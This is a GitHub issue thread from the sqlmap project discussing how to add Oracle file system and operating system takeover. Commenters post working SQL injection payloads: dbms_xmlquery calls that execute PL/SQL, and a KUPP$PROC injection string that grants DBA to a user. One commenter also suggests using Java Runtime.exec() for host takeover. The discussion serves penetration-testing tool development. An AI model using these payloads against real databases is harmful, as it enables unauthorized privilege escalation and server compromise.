search

sqlmapproject / sqlmap

Automatic SQL injection and database takeover tool
http://sqlmap.org
Other
31.92k stars 5.67k forks source link

File and operating system takeover support for Oracle #26

Open bdamele opened 12 years ago

bdamele commented 12 years ago

Add support to takeover the file system when the back-end DBMS is Oracle.

References:

infodox commented 12 years ago

We were looking at this: http://code.google.com/p/bsqlbf-v2/ as an example of how to do takeover on Oracle DB. Perhaps we will have a pull request ready soon <3

infodox commented 12 years ago

@stamparm @sqlmapproject @inquisb this is possible, though you would have to provide multiple methods and bruteforce your way to the right one or use DBMS fingerprinting to figure out the right trick. Would certainly be a worthy addition to it! See my above link.

bdamele commented 12 years ago

More details: http://kitkatsatonthemat.blogspot.com/2011/11/i-herd-you-like-oracle-dawg-so-i-put.html

firefart commented 12 years ago

Maybe this helps: In Oracle there are 2 Function granted to PUBLIC by default: dbms_xmlquery.newcontext() dbms_xmlquery.getxml()

These 2 functions allow execution of anonymous PLSQL blocks within an SQL Statement. Extremly helpful when injecting in Oracle Databases. Examples: select dbms_xmlquery.newcontext('declare pragma autonomous_transaction; begin execute immediate '' create synonym asdf for SCHEMA.TABLE ''; commit; end;') from dual

select dbms_xmlquery.getxml('declare pragma autonomous_transaction; begin execute immediate '' create synonym asdf for SCHEMA.TABLE ''; commit; end;') from dual

With this technique it would be possible to create a Java Package with Runtime.exec() to takeover the Databasehost (user needs the rights(grants) for this operation, but this can be checked via the oracle system tables).

bdamele commented 11 years ago

@infodox where's your pull request? :)

stamparm commented 8 years ago

http://www.6code.net/2015/08/execute-os-command-in-oracle-database.html

steelbrain commented 8 years ago

Bump

SebaNuss commented 6 years ago

There seem to be a few methods to execute OS Commands and through the SYS.KUPP$PROC.CREATE_MASTER_PROCESS function in Oracle up to 11g2.

For example if a URL is vulnerable to AND based SQLi, you could run <url>/id=2' and (Select SYS.KUPP$PROC.CREATE_MASTER_PROCESS('EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''GRANT dba TO user;''''; END;'';') from dual) is not null--

I used this in a test scenario and was able to create a user and grant it DBA on Oracle 11g2.

I came across this whitepaper that goes into alot more detail, including privilege escalation. I hope it might be helpfull. https://media.blackhat.com/bh-us-10/whitepapers/Siddharth/BlackHat-USA-2010-Siddharth-Hacking-Oracle-from-the-Web-wp.pdf